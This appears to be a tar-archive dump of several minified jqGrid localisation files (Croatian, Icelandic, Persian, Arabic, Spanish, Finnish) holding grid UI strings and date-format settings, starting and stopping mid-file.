e<11||13<e?["st","nd","rd","th"][Math.min((e-1)%10,3)]:"th"},srcformat:"Y-m-d",newformat:"m-d-Y",parseRe:/[#%\\\/:_;.,\t\s-]/,masks:{ISO8601Long:"Y-m-d H:i:s",ISO8601Short:"Y-m-d",ShortDate:"Y/j/n",LongDate:"l, F d, Y",FullDateTime:"l, F d, Y g:i:s A",MonthDay:"F d",ShortTime:"g:i A",LongTime:"g:i:s A",SortableDateTime:"Y-m-d\\TH:i:s",UniversalSortableDateTime:"Y-m-d H:i:sO",YearMonth:"F, Y"},reformatAfterEdit:!1,userLocalTime:!1},baseLinkUrl:"",showAction:"",target:"",checkbox:{disabled:!0},idName:"id"},colmenu:{sortasc:"Sort Ascending",sortdesc:"Sort Descending",columns:"Columns",filter:"Filter",grouping:"Group By",ungrouping:"Ungroup",searchTitle:"Get items with value that:",freeze:"Freeze",unfreeze:"Unfreeze",reorder:"Move to reorder",hovermenu:"Click for column quick actions"}}});minified/i18n/grid.locale-hr.js000064400000011146151677266200012256 0ustar00!function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","../grid.base"],e):e(jQuery)}(function(e){e.jgrid=e.jgrid||{},e.jgrid.hasOwnProperty("regional")||(e.jgrid.regional=[]),e.jgrid.regional.hr={defaults:{recordtext:"Pregled {0} - {1} od {2}",emptyrecords:"Nema zapisa",loadtext:"Učitavam...",pgtext:"Stranica {0} od {1}",savetext:"Saving...",pgfirst:"First Page",pglast:"Last Page",pgnext:"Next Page",pgprev:"Previous Page",pgrecs:"Records per Page",showhide:"Toggle Expand Collapse Grid",pagerCaption:"Grid::Page Settings",pageText:"Page:",recordPage:"Records per Page",nomorerecs:"No more records...",scrollPullup:"Pull up to load more...",scrollPulldown:"Pull down to refresh...",scrollRefresh:"Release to refresh...",valT:"checked",valF:"unchecked",selectLine:"Select row",selectAllLines:"Select all rows"},search:{caption:"Traži...",Find:"Pretraživanje",Reset:"Poništi",odata:[{oper:"eq",text:"jednak"},{oper:"ne",text:"nije identičan"},{oper:"lt",text:"manje"},{oper:"le",text:"manje ili identično"},{oper:"gt",text:"veće"},{oper:"ge",text:"veće ili identično"},{oper:"bw",text:"počinje sa"},{oper:"bn",text:"ne počinje sa "},{oper:"in",text:"je u"},{oper:"ni",text:"nije u"},{oper:"ew",text:"završava sa"},{oper:"en",text:"ne završava sa"},{oper:"cn",text:"sadrži"},{oper:"nc",text:"ne sadrži"},{oper:"nu",text:"is null"},{oper:"nn",text:"is not null"},{oper:"bt",text:"between"}],groupOps:[{op:"I",text:"sve"},{op:"ILI",text:"bilo koji"}],operandTitle:"Click to select search operation.",resetTitle:"Reset Search Value",addsubgrup:"Add subgroup",addrule:"Add rule",delgroup:"Delete group",delrule:"Delete rule",Close:"Close",Operand:"Operand : ",Operation:"Oper : ",filterFor:"filter for"},edit:{addCaption:"Dodaj zapis",editCaption:"Promijeni zapis",bSubmit:"Preuzmi",bCancel:"Odustani",bClose:"Zatvri",saveData:"Podaci su promijenjeni! Preuzmi promijene?",bYes:"Da",bNo:"Ne",bExit:"Odustani",msg:{required:"Polje je obavezno",number:"Molim, unesite ispravan broj",minValue:"Vrijednost mora biti veća ili identična ",maxValue:"Vrijednost mora biti manja ili identična",email:"neispravan e-mail",integer:"Molim, unjeti ispravan cijeli broj (integer)",date:"Molim, unjeti ispravan datum ",url:"neispravan URL. Prefiks je obavezan ('http://' or 'https://')",nodefined:" nije definiran!",novalue:" zahtjevan podatak je obavezan!",customarray:"Opcionalna funkcija trebala bi bili polje (array)!",customfcheck:"Custom function should be present in case of custom checking!"}},view:{caption:"Otvori zapis",bClose:"Zatvori"},del:{caption:"Obriši",msg:"Obriši označen zapis ili više njih?",bSubmit:"Obriši",bCancel:"Odustani"},nav:{edittext:"",edittitle:"Promijeni obilježeni red",addtext:"",addtitle:"Dodaj novi red",deltext:"",deltitle:"Obriši obilježeni red",searchtext:"",searchtitle:"Potraži zapise",refreshtext:"",refreshtitle:"Ponovo preuzmi podatke",alertcap:"Upozorenje",alerttext:"Molim, odaberi red",viewtext:"",viewtitle:"Pregled obilježenog reda",savetext:"",savetitle:"Save row",canceltext:"",canceltitle:"Cancel row editing",selectcaption:"Actions..."},col:{caption:"Obilježi kolonu",bSubmit:"Uredu",bCancel:"Odustani"},errors:{errcap:"Greška",nourl:"Nedostaje URL",norecords:"Bez zapisa za obradu",model:"colNames i colModel imaju različitu duljinu!"},formatter:{integer:{thousandsSeparator:".",defaultValue:"0"},number:{decimalSeparator:",",thousandsSeparator:".",decimalPlaces:2,defaultValue:"0,00"},currency:{decimalSeparator:",",thousandsSeparator:".",decimalPlaces:2,prefix:"",suffix:"",defaultValue:"0,00"},date:{dayNames:["Ned","Pon","Uto","Sri","Čet","Pet","Sub","Nedjelja","Ponedjeljak","Utorak","Srijeda","Četvrtak","Petak","Subota"],monthNames:["Sij","Velj","Ožu","Tra","Svi","Lip","Srp","Kol","Ruj","Lis","Stu","Pro","Siječanj","Veljača","Ožujak","Travanj","Svibanj","Lipanj","Srpanj","Kolovoz","Rujan","Listopad","Studeni","Prosinac"],AmPm:["am","pm","AM","PM"],S:function(e){return""},srcformat:"Y-m-d",newformat:"d.m.Y.",parseRe:/[#%\\\/:_;.,\t\s-]/,masks:{ISO8601Long:"Y-m-d H:i:s",ISO8601Short:"Y-m-d",ShortDate:"d.m.Y.",LongDate:"l, j. F Y",FullDateTime:"l, j. F Y H:i:s",MonthDay:"d F",ShortTime:"H:i",LongTime:"H:i:s",SortableDateTime:"Y-m-d\\TH:i:s",UniversalSortableDateTime:"Y-m-d H:i:sO",YearMonth:"F Y"},reformatAfterEdit:!1,userLocalTime:!1},baseLinkUrl:"",showAction:"",target:"",checkbox:{disabled:!0},idName:"id"},colmenu:{sortasc:"Sort Ascending",sortdesc:"Sort Descending",columns:"Columns",filter:"Filter",grouping:"Group By",ungrouping:"Ungroup",searchTitle:"Get items with value that:",freeze:"Freeze",unfreeze:"Unfreeze",reorder:"Move to reorder",hovermenu:"Click for column quick actions"}}});minified/i18n/grid.locale-is.js000064400000011075151677266200012261 0ustar00!function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","../grid.base"],e):e(jQuery)}(function(e){e.jgrid=e.jgrid||{},e.jgrid.hasOwnProperty("regional")||(e.jgrid.regional=[]),e.jgrid.regional.is={defaults:{recordtext:"Skoða {0} - {1} af {2}",emptyrecords:"Engar færslur",loadtext:"Hleður...",pgtext:"Síða {0} af {1}",savetext:"Saving...",pgfirst:"First Page",pglast:"Last Page",pgnext:"Next Page",pgprev:"Previous Page",pgrecs:"Records per Page",showhide:"Toggle Expand Collapse Grid",pagerCaption:"Grid::Page Settings",pageText:"Page:",recordPage:"Records per Page",nomorerecs:"No more records...",scrollPullup:"Pull up to load more...",scrollPulldown:"Pull down to refresh...",scrollRefresh:"Release to refresh...",valT:"checked",valF:"unchecked",selectLine:"Select row",selectAllLines:"Select all rows"},search:{caption:"Leita...",Find:"Leita",Reset:"Endursetja",odata:[{oper:"eq",text:"sama og"},{oper:"ne",text:"ekki sama og"},{oper:"lt",text:"minna en"},{oper:"le",text:"minna eða jafnt og"},{oper:"gt",text:"stærra en"},{oper:"ge",text:"stærra eða jafnt og"},{oper:"bw",text:"byrjar á"},{oper:"bn",text:"byrjar ekki á"},{oper:"in",text:"er í"},{oper:"ni",text:"er ekki í"},{oper:"ew",text:"endar á"},{oper:"en",text:"endar ekki á"},{oper:"cn",text:"inniheldur"},{oper:"nc",text:"inniheldur ekki"},{oper:"nu",text:"is null"},{oper:"nn",text:"is not null"},{oper:"bt",text:"between"}],groupOps:[{op:"AND",text:"allt"},{op:"OR",text:"eða"}],operandTitle:"Click to select search operation.",resetTitle:"Reset Search Value",addsubgrup:"Add subgroup",addrule:"Add rule",delgroup:"Delete group",delrule:"Delete rule",Close:"Close",Operand:"Operand : ",Operation:"Oper : ",filterFor:"filter for"},edit:{addCaption:"Bæta við færslu",editCaption:"Breyta færslu",bSubmit:"Vista",bCancel:"Hætta við",bClose:"Loka",saveData:"Gögn hafa breyst! Vista breytingar?",bYes:"Já",bNo:"Nei",bExit:"Hætta við",msg:{required:"Reitur er nauðsynlegur",number:"Vinsamlega settu inn tölu",minValue:"gildi verður að vera meira en eða jafnt og ",maxValue:"gildi verður að vera minna en eða jafnt og ",email:"er ekki löglegt email",integer:"Vinsamlega settu inn tölu",date:"Vinsamlega setti inn dagsetningu",url:"er ekki löglegt URL. Vantar ('http://' eða 'https://')",nodefined:" er ekki skilgreint!",novalue:" skilagildi nauðsynlegt!",customarray:"Fall skal skila fylki!",customfcheck:"Fall skal vera skilgreint!"}},view:{caption:"Skoða færslu",bClose:"Loka"},del:{caption:"Eyða",msg:"Eyða völdum færslum ?",bSubmit:"Eyða",bCancel:"Hætta við"},nav:{edittext:" ",edittitle:"Breyta færslu",addtext:" ",addtitle:"Ný færsla",deltext:" ",deltitle:"Eyða færslu",searchtext:" ",searchtitle:"Leita",refreshtext:"",refreshtitle:"Endurhlaða",alertcap:"Viðvörun",alerttext:"Vinsamlega veldu færslu",viewtext:"",viewtitle:"Skoða valda færslu",savetext:"",savetitle:"Save row",canceltext:"",canceltitle:"Cancel row editing",selectcaption:"Actions..."},col:{caption:"Sýna / fela dálka",bSubmit:"Vista",bCancel:"Hætta við"},errors:{errcap:"Villa",nourl:"Vantar slóð",norecords:"Engar færslur valdar",model:"Lengd colNames <> colModel!"},formatter:{integer:{thousandsSeparator:" ",defaultValue:"0"},number:{decimalSeparator:".",thousandsSeparator:" ",decimalPlaces:2,defaultValue:"0.00"},currency:{decimalSeparator:".",thousandsSeparator:" ",decimalPlaces:2,prefix:"",suffix:"",defaultValue:"0.00"},date:{dayNames:["Sun","Mán","Þri","Mið","Fim","Fös","Lau","Sunnudagur","Mánudagur","Þriðjudagur","Miðvikudagur","Fimmtudagur","Föstudagur","Laugardagur"],monthNames:["Jan","Feb","Mar","Apr","Maí","Jún","Júl","Ágú","Sep","Oct","Nóv","Des","Janúar","Febrúar","Mars","Apríl","Maí","Júný","Júlý","Ágúst","September","Október","Nóvember","Desember"],AmPm:["am","pm","AM","PM"],S:function(e){return e<11||13<e?["st","nd","rd","th"][Math.min((e-1)%10,3)]:"th"},srcformat:"Y-m-d",newformat:"d/m/Y",parseRe:/[#%\\\/:_;.,\t\s-]/,masks:{ISO8601Long:"Y-m-d H:i:s",ISO8601Short:"Y-m-d",ShortDate:"n/j/Y",LongDate:"l, F d, Y",FullDateTime:"l, F d, Y g:i:s A",MonthDay:"F d",ShortTime:"g:i A",LongTime:"g:i:s A",SortableDateTime:"Y-m-d\\TH:i:s",UniversalSortableDateTime:"Y-m-d H:i:sO",YearMonth:"F, Y"},reformatAfterEdit:!1,userLocalTime:!1},baseLinkUrl:"",showAction:"",target:"",checkbox:{disabled:!0},idName:"id"},colmenu:{sortasc:"Sort Ascending",sortdesc:"Sort Descending",columns:"Columns",filter:"Filter",grouping:"Group By",ungrouping:"Ungroup",searchTitle:"Get items with value that:",freeze:"Freeze",unfreeze:"Unfreeze",reorder:"Move to reorder",hovermenu:"Click for column quick actions"}}});minified/i18n/grid.locale-fa.js000064400000012720151677266200012232 0ustar00!function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","../grid.base"],e):e(jQuery)}(function(e){e.jgrid=e.jgrid||{},e.jgrid.hasOwnProperty("regional")||(e.jgrid.regional=[]),e.jgrid.regional.fa={defaults:{recordtext:"نمابش {0} - {1} از {2}",emptyrecords:"رکوردی یافت نشد",loadtext:"بارگزاري...",savetext:"Saving...",pgtext:"صفحه {0} از {1}",pgfirst:"First Page",pglast:"Last Page",pgnext:"Next Page",pgprev:"Previous Page",pgrecs:"Records per Page",showhide:"Toggle Expand Collapse Grid",pagerCaption:"Grid::Page Settings",pageText:"Page:",recordPage:"Records per Page",nomorerecs:"No more records...",scrollPullup:"Pull up to load more...",scrollPulldown:"Pull down to refresh...",scrollRefresh:"Release to refresh...",valT:"checked",valF:"unchecked",selectLine:"Select row",selectAllLines:"Select all rows"},search:{caption:"جستجو...",Find:"يافته ها",Reset:"از نو",odata:[{oper:"eq",text:"برابر"},{oper:"ne",text:"نا برابر"},{oper:"lt",text:"به"},{oper:"le",text:"کوچکتر"},{oper:"gt",text:"از"},{oper:"ge",text:"بزرگتر"},{oper:"bw",text:"شروع با"},{oper:"bn",text:"شروع نشود با"},{oper:"in",text:"نباشد"},{oper:"ni",text:"عضو این نباشد"},{oper:"ew",text:"اتمام با"},{oper:"en",text:"تمام نشود با"},{oper:"cn",text:"حاوی"},{oper:"nc",text:"نباشد حاوی"},{oper:"nu",text:"is null"},{oper:"nn",text:"is not null"},{oper:"bt",text:"between"}],groupOps:[{op:"AND",text:"کل"},{op:"OR",text:"مجموع"}],operandTitle:"Click to select search operation.",resetTitle:"Reset Search Value",addsubgrup:"Add subgroup",addrule:"Add rule",delgroup:"Delete group",delrule:"Delete rule",Close:"Close",Operand:"Operand : ",Operation:"Oper : ",filterFor:"filter for"},edit:{addCaption:"اضافه کردن رکورد",editCaption:"ويرايش رکورد",bSubmit:"ثبت",bCancel:"انصراف",bClose:"بستن",saveData:"دیتا تعییر کرد! ذخیره شود؟",bYes:"بله",bNo:"خیر",bExit:"انصراف",msg:{required:"فيلدها بايد ختما پر شوند",number:"لطفا عدد وعتبر وارد کنيد",minValue:"مقدار وارد شده بايد بزرگتر يا مساوي با",maxValue:"مقدار وارد شده بايد کوچکتر يا مساوي",email:"پست الکترونيک وارد شده معتبر نيست",integer:"لطفا يک عدد صحيح وارد کنيد",date:"لطفا يک تاريخ معتبر وارد کنيد",url:"این آدرس صحیح نمی باشد. پیشوند نیاز است ('http://' یا 'https://')",nodefined:" تعریف نشده!",novalue:" مقدار برگشتی اجباری است!",customarray:"تابع شما باید مقدار آرایه داشته باشد!",customfcheck:"برای داشتن متد دلخواه شما باید سطون با چکینگ دلخواه داشته باشید!"}},view:{caption:"نمایش رکورد",bClose:"بستن"},del:{caption:"حذف",msg:"از حذف گزينه هاي انتخاب شده مطمئن هستيد؟",bSubmit:"حذف",bCancel:"ابطال"},nav:{edittext:" ",edittitle:"ويرايش رديف هاي انتخاب شده",addtext:" ",addtitle:"افزودن رديف جديد",deltext:" ",deltitle:"حذف ردبف هاي انتیاب شده",searchtext:" ",searchtitle:"جستجوي رديف",refreshtext:"",refreshtitle:"بازيابي مجدد صفحه",alertcap:"اخطار",alerttext:"لطفا يک رديف انتخاب کنيد",viewtext:"",viewtitle:"نمایش رکورد های انتخاب شده",savetext:"",savetitle:"Save row",canceltext:"",canceltitle:"Cancel row editing",selectcaption:"Actions..."},col:{caption:"نمايش/عدم نمايش ستون",bSubmit:"ثبت",bCancel:"انصراف"},errors:{errcap:"خطا",nourl:"هيچ آدرسي تنظيم نشده است",norecords:"هيچ رکوردي براي پردازش موجود نيست",model:"طول نام ستون ها محالف ستون هاي مدل مي باشد!"},formatter:{integer:{thousandsSeparator:" ",defaultValue:"0"},number:{decimalSeparator:".",thousandsSeparator:" ",decimalPlaces:2,defaultValue:"0.00"},currency:{decimalSeparator:".",thousandsSeparator:" ",decimalPlaces:2,prefix:"",suffix:"",defaultValue:"0"},date:{dayNames:["يک","دو","سه","چهار","پنج","جمع","شنب","يکشنبه","دوشنبه","سه شنبه","چهارشنبه","پنجشنبه","جمعه","شنبه"],monthNames:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec","ژانويه","فوريه","مارس","آوريل","مه","ژوئن","ژوئيه","اوت","سپتامبر","اکتبر","نوامبر","December"],AmPm:["ب.ظ","ب.ظ","ق.ظ","ق.ظ"],S:function(e){return e<11||13<e?["st","nd","rd","th"][Math.min((e-1)%10,3)]:"th"},srcformat:"Y-m-d",newformat:"d/m/Y",parseRe:/[#%\\\/:_;.,\t\s-]/,masks:{ISO8601Long:"Y-m-d H:i:s",ISO8601Short:"Y-m-d",ShortDate:"n/j/Y",LongDate:"l, F d, Y",FullDateTime:"l, F d, Y g:i:s A",MonthDay:"F d",ShortTime:"g:i A",LongTime:"g:i:s A",SortableDateTime:"Y-m-d\\TH:i:s",UniversalSortableDateTime:"Y-m-d H:i:sO",YearMonth:"F, Y"},reformatAfterEdit:!1,userLocalTime:!1},baseLinkUrl:"",showAction:"نمايش",target:"",checkbox:{disabled:!0},idName:"id"},colmenu:{sortasc:"Sort Ascending",sortdesc:"Sort Descending",columns:"Columns",filter:"Filter",grouping:"Group By",ungrouping:"Ungroup",searchTitle:"Get items with value that:",freeze:"Freeze",unfreeze:"Unfreeze",reorder:"Move to reorder",hovermenu:"Click for column quick actions"}}});minified/i18n/grid.locale-ar.js000064400000012313151677266200012244 0ustar00!function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","../grid.base"],e):e(jQuery)}(function(e){e.jgrid=e.jgrid||{},e.jgrid.hasOwnProperty("regional")||(e.jgrid.regional=[]),e.jgrid.regional.ar={defaults:{recordtext:"تسجيل {0} - {1} على {2}",emptyrecords:"لا يوجد تسجيل",loadtext:"تحميل...",savetext:"Saving...",pgtext:"صفحة {0} على {1}",pgfirst:"First Page",pglast:"Last Page",pgnext:"Next Page",pgprev:"Previous Page",pgrecs:"Records per Page",showhide:"Toggle Expand Collapse Grid",pagerCaption:"Grid::Page Settings",pageText:"Page:",recordPage:"Records per Page",nomorerecs:"No more records...",scrollPullup:"Pull up to load more...",scrollPulldown:"Pull down to refresh...",scrollRefresh:"Release to refresh...",valT:"checked",valF:"unchecked",selectLine:"Select row",selectAllLines:"Select all rows"},search:{caption:"بحث...",Find:"بحث",Reset:"إلغاء",odata:[{oper:"eq",text:"يساوي"},{oper:"ne",text:"يختلف"},{oper:"lt",text:"أقل"},{oper:"le",text:"أقل أو يساوي"},{oper:"gt",text:"أكبر"},{oper:"ge",text:"أكبر أو يساوي"},{oper:"bw",text:"يبدأ بـ"},{oper:"bn",text:"لا يبدأ بـ"},{oper:"in",text:"est dans"},{oper:"ni",text:"n'est pas dans"},{oper:"ew",text:"ينته بـ"},{oper:"en",text:"لا ينته بـ"},{oper:"cn",text:"يحتوي"},{oper:"nc",text:"لا يحتوي"},{oper:"nu",text:"is null"},{oper:"nn",text:"is not null"},{oper:"bt",text:"between"}],groupOps:[{op:"مع",text:"الكل"},{op:"أو",text:"لا أحد"}],operandTitle:"Click to select search operation.",resetTitle:"Reset Search Value",addsubgrup:"Add subgroup",addrule:"Add rule",delgroup:"Delete group",delrule:"Delete rule",Close:"Close",Operand:"Operand : ",Operation:"Oper : ",filterFor:"filter for"},edit:{addCaption:"اضافة",editCaption:"تحديث",bSubmit:"تثبيث",bCancel:"إلغاء",bClose:"غلق",saveData:"تغيرت المعطيات هل تريد التسجيل ?",bYes:"نعم",bNo:"لا",bExit:"إلغاء",msg:{required:"خانة إجبارية",number:"سجل رقم صحيح",minValue:"يجب أن تكون القيمة أكبر أو تساوي 0",maxValue:"يجب أن تكون القيمة أقل أو تساوي 0",email:"بريد غير صحيح",integer:"سجل عدد طبييعي صحيح",url:"ليس عنوانا صحيحا. البداية الصحيحة ('http://' أو 'https://')",nodefined:" ليس محدد!",novalue:" قيمة الرجوع مطلوبة!",customarray:"يجب على الدالة الشخصية أن تنتج جدولا",customfcheck:"الدالة الشخصية مطلوبة في حالة التحقق الشخصي"}},view:{caption:"رأيت التسجيلات",bClose:"غلق"},del:{caption:"حذف",msg:"حذف التسجيلات المختارة ?",bSubmit:"حذف",bCancel:"إلغاء"},nav:{edittext:" ",edittitle:"تغيير التسجيل المختار",addtext:" ",addtitle:"إضافة تسجيل",deltext:" ",deltitle:"حذف التسجيل المختار",searchtext:" ",searchtitle:"بحث عن تسجيل",refreshtext:"",refreshtitle:"تحديث الجدول",alertcap:"تحذير",alerttext:"يرجى إختيار السطر",viewtext:"",viewtitle:"إظهار السطر المختار",savetext:"",savetitle:"Save row",canceltext:"",canceltitle:"Cancel row editing",selectcaption:"Actions..."},col:{caption:"إظهار/إخفاء الأعمدة",bSubmit:"تثبيث",bCancel:"إلغاء"},errors:{errcap:"خطأ",nourl:"لا يوجد عنوان محدد",norecords:"لا يوجد تسجيل للمعالجة",model:"عدد العناوين (colNames) <> عدد التسجيلات (colModel)!"},formatter:{integer:{thousandsSeparator:" ",defaultValue:"0"},number:{decimalSeparator:",",thousandsSeparator:" ",decimalPlaces:2,defaultValue:"0,00"},currency:{decimalSeparator:",",thousandsSeparator:" ",decimalPlaces:2,prefix:"",suffix:"",defaultValue:"0,00"},date:{dayNames:["الأحد","الإثنين","الثلاثاء","الأربعاء","الخميس","الجمعة","السبت","الأحد","الإثنين","الثلاثاء","الأربعاء","الخميس","الجمعة","السبت"],monthNames:["جانفي","فيفري","مارس","أفريل","ماي","جوان","جويلية","أوت","سبتمبر","أكتوبر","نوفمبر","ديسمبر","جانفي","فيفري","مارس","أفريل","ماي","جوان","جويلية","أوت","سبتمبر","أكتوبر","نوفمبر","ديسمبر"],AmPm:["صباحا","مساءا","صباحا","مساءا"],S:function(e){return 1==e?"er":"e"},srcformat:"Y-m-d",newformat:"d/m/Y",parseRe:/[#%\\\/:_;.,\t\s-]/,masks:{ISO8601Long:"Y-m-d H:i:s",ISO8601Short:"Y-m-d",ShortDate:"n/j/Y",LongDate:"l, F d, Y",FullDateTime:"l, F d, Y g:i:s A",MonthDay:"F d",ShortTime:"g:i A",LongTime:"g:i:s A",SortableDateTime:"Y-m-d\\TH:i:s",UniversalSortableDateTime:"Y-m-d H:i:sO",YearMonth:"F, Y"},reformatAfterEdit:!1,userLocalTime:!1},baseLinkUrl:"",showAction:"",target:"",checkbox:{disabled:!0},idName:"id"},colmenu:{sortasc:"Sort Ascending",sortdesc:"Sort Descending",columns:"Columns",filter:"Filter",grouping:"Group By",ungrouping:"Ungroup",searchTitle:"Get items with value that:",freeze:"Freeze",unfreeze:"Unfreeze",reorder:"Move to reorder",hovermenu:"Click for column quick actions"}}});minified/i18n/grid.locale-es.js000064400000011656151677266200012262 0ustar00!function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","../grid.base"],e):e(jQuery)}(function(e){e.jgrid=e.jgrid||{},e.jgrid.hasOwnProperty("regional")||(e.jgrid.regional=[]),e.jgrid.regional.es={defaults:{recordtext:"Mostrando {0} - {1} de {2}",emptyrecords:"Sin registros que mostrar",loadtext:"Cargando...",savetext:"Guardando...",pgtext:"Página {0} de {1}",pgfirst:"Primera Página",pglast:"Última Página",pgnext:"Página Siguiente",pgprev:"Página Anterior",pgrecs:"Registros por página",showhide:"Alternar Contraer Expandir Grid",pagerCaption:"Grid::Configurar página",pageText:"Página:",recordPage:"Registros por página",nomorerecs:"No más registros...",scrollPullup:"Arrastrar arriba para cargar más...",scrollPulldown:"Arrastrar arriba para refrescar...",scrollRefresh:"Soltar para refrescar...",valT:"marcada",valF:"sin marcar",selectLine:"Seleccionar fila",selectAllLines:"Seleccionar todas las filas"},search:{caption:"Búsqueda...",Find:"Buscar",Reset:"Limpiar",odata:[{oper:"eq",text:"igual "},{oper:"ne",text:"no igual a"},{oper:"lt",text:"menor que"},{oper:"le",text:"menor o igual que"},{oper:"gt",text:"mayor que"},{oper:"ge",text:"mayor o igual a"},{oper:"bw",text:"empiece por"},{oper:"bn",text:"no empiece por"},{oper:"in",text:"está en"},{oper:"ni",text:"no está en"},{oper:"ew",text:"termina por"},{oper:"en",text:"no termina por"},{oper:"cn",text:"contiene"},{oper:"nc",text:"no contiene"},{oper:"nu",text:"es nulo"},{oper:"nn",text:"no es nulo"},{oper:"bt",text:"entre"}],groupOps:[{op:"AND",text:"todo"},{op:"OR",text:"cualquier"}],operandTitle:"Clic para seleccionar la operación de búsqueda.",resetTitle:"Reiniciar valores de búsqueda",addsubgrup:"Agregar subgrupo",addrule:"Agregar regla",delgroup:"Borrar grupo",delrule:"Borrar regla",Close:"Cerrar",Operand:"Operador : ",Operation:"Oper : ",filterFor:"filtro para"},edit:{addCaption:"Agregar registro",editCaption:"Modificar registro",bSubmit:"Guardar",bCancel:"Cancelar",bClose:"Cerrar",saveData:"Se han modificado los datos, ¿guardar cambios?",bYes:"Si",bNo:"No",bExit:"Cancelar",msg:{required:"Campo obligatorio",number:"Introduzca un número",minValue:"El valor debe ser mayor o igual a ",maxValue:"El valor debe ser menor o igual a ",email:"no es una dirección de correo válida",integer:"Introduzca un valor entero",date:"Introduzca una fecha correcta ",url:"no es una URL válida. Prefijo requerido ('http://' or 'https://')",nodefined:" no está definido.",novalue:" valor de retorno es requerido.",customarray:"La función personalizada debe devolver un array.",customfcheck:"La función personalizada debe estar presente en el caso de validación personalizada."}},view:{caption:"Consultar registro",bClose:"Cerrar"},del:{caption:"Eliminar",msg:"¿Desea eliminar los registros seleccionados?",bSubmit:"Eliminar",bCancel:"Cancelar"},nav:{edittext:" ",edittitle:"Modificar fila seleccionada",addtext:" ",addtitle:"Agregar nueva fila",deltext:" ",deltitle:"Eliminar fila seleccionada",searchtext:" ",searchtitle:"Buscar información",refreshtext:"",refreshtitle:"Recargar datos",alertcap:"Aviso",alerttext:"Seleccione una fila",viewtext:"",viewtitle:"Ver fila seleccionada",savetext:"",savetitle:"Guardar fila",canceltext:"",canceltitle:"Cancelar edición de fila",selectcaption:"Acciones..."},col:{caption:"Mostrar/ocultar columnas",bSubmit:"Enviar",bCancel:"Cancelar"},errors:{errcap:"Error",nourl:"No se ha especificado una URL",norecords:"No hay datos para procesar",model:"Las columnas de nombres son diferentes de las columnas del modelo"},formatter:{integer:{thousandsSeparator:".",defaultValue:"0"},number:{decimalSeparator:",",thousandsSeparator:".",decimalPlaces:2,defaultValue:"0,00"},currency:{decimalSeparator:",",thousandsSeparator:".",decimalPlaces:2,prefix:"",suffix:"",defaultValue:"0,00"},date:{dayNames:["Do","Lu","Ma","Mi","Ju","Vi","Sa","Domingo","Lunes","Martes","Miércoles","Jueves","Viernes","Sábado"],monthNames:["Ene","Feb","Mar","Abr","May","Jun","Jul","Ago","Sep","Oct","Nov","Dic","Enero","Febrero","Marzo","Abril","Mayo","Junio","Julio","Agosto","Septiembre","Octubre","Noviembre","Diciembre"],AmPm:["am","pm","AM","PM"],S:function(e){return e<11||13<e?["st","nd","rd","th"][Math.min((e-1)%10,3)]:"th"},srcformat:"Y-m-d",newformat:"d-m-Y",parseRe:/[#%\\\/:_;.,\t\s-]/,masks:{ISO8601Long:"Y-m-d H:i:s",ISO8601Short:"Y-m-d",ShortDate:"n/j/Y",LongDate:"l, F d, Y",FullDateTime:"l, F d, Y g:i:s A",MonthDay:"F d",ShortTime:"g:i A",LongTime:"g:i:s A",SortableDateTime:"Y-m-d\\TH:i:s",UniversalSortableDateTime:"Y-m-d H:i:sO",YearMonth:"F, Y"},reformatAfterEdit:!1,userLocalTime:!1},baseLinkUrl:"",showAction:"",target:"",checkbox:{disabled:!0},idName:"id"},colmenu:{sortasc:"Orden Ascendente",sortdesc:"Orden Descendente",columns:"Columnas",filter:"Filtrar",grouping:"Agrupar por",ungrouping:"Desagrupar",searchTitle:"Obtener elementos con un valor que:",freeze:"Inmovilizar",unfreeze:"Movilizar",reorder:"Mover para reordenar",hovermenu:"Click para accion rápida de columna"}}});minified/i18n/grid.locale-fi.js000064400000011345151677266200012244 0ustar00!function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","../grid.base"],e):e(jQuery)}(function(e){e.jgrid=e.jgrid||{},e.jgrid.hasOwnProperty("regional")||(e.jgrid.regional=[]),e.jgrid.regional.fi={defaults:{recordtext:"Rivit {0} - {1} / {2}",emptyrecords:"Ei näytettäviä",loadtext:"Haetaan...",savetext:"Saving...",pgtext:"Sivu {0} / {1}",pgfirst:"First Page",pglast:"Last Page",pgnext:"Next Page",pgprev:"Previous Page",pgrecs:"Records per Page",showhide:"Toggle Expand Collapse Grid",pagerCaption:"Grid::Page Settings",pageText:"Page:",recordPage:"Records per Page",nomorerecs:"No more records...",scrollPullup:"Pull up to load more...",scrollPulldown:"Pull down to refresh...",scrollRefresh:"Release to refresh...",valT:"checked",valF:"unchecked",selectLine:"Select row",selectAllLines:"Select all rows"},search:{caption:"Etsi...",Find:"Etsi",Reset:"Tyhjennä",odata:[{oper:"eq",text:"on"},{oper:"ne",text:"ei ole"},{oper:"lt",text:"pienempi"},{oper:"le",text:"pienempi tai yhtäsuuri"},{oper:"gt",text:"suurempi"},{oper:"ge",text:"suurempi tai yhtäsuuri"},{oper:"bw",text:"alkaa"},{oper:"bn",text:"ei ala"},{oper:"in",text:"joukossa"},{oper:"ni",text:"ei joukossa"},{oper:"ew",text:"loppuu"},{oper:"en",text:"ei lopu"},{oper:"cn",text:"sisältää"},{oper:"nc",text:"ei sisällä"},{oper:"nu",text:"on tyhjä"},{oper:"nn",text:"ei ole tyhjä"},{oper:"nu",text:"is null"},{oper:"nn",text:"is not null"},{oper:"bt",text:"between"}],groupOps:[{op:"AND",text:"kaikki"},{op:"OR",text:"mikä tahansa"}],operandTitle:"Click to select search operation.",resetTitle:"Reset Search Value",addsubgrup:"Add subgroup",addrule:"Add rule",delgroup:"Delete group",delrule:"Delete rule",Close:"Close",Operand:"Operand : ",Operation:"Oper : ",filterFor:"filter for"},edit:{addCaption:"Uusi rivi",editCaption:"Muokkaa riviä",bSubmit:"OK",bCancel:"Peru",bClose:"Sulje",saveData:"Tietoja muutettu! Tallennetaanko?",bYes:"Kyllä",bNo:"Ei",bExit:"Peru",msg:{required:"pakollinen",number:"Anna kelvollinen nro",minValue:"arvon oltava suurempi tai yhtäsuuri kuin ",maxValue:"arvon oltava pienempi tai yhtäsuuri kuin ",email:"ei ole kelvollinen säpostiosoite",integer:"Anna kelvollinen kokonaisluku",date:"Anna kelvollinen pvm",url:"Ei ole kelvollinen linkki(URL). Alku oltava ('http://' tai 'https://')",nodefined:" ei ole 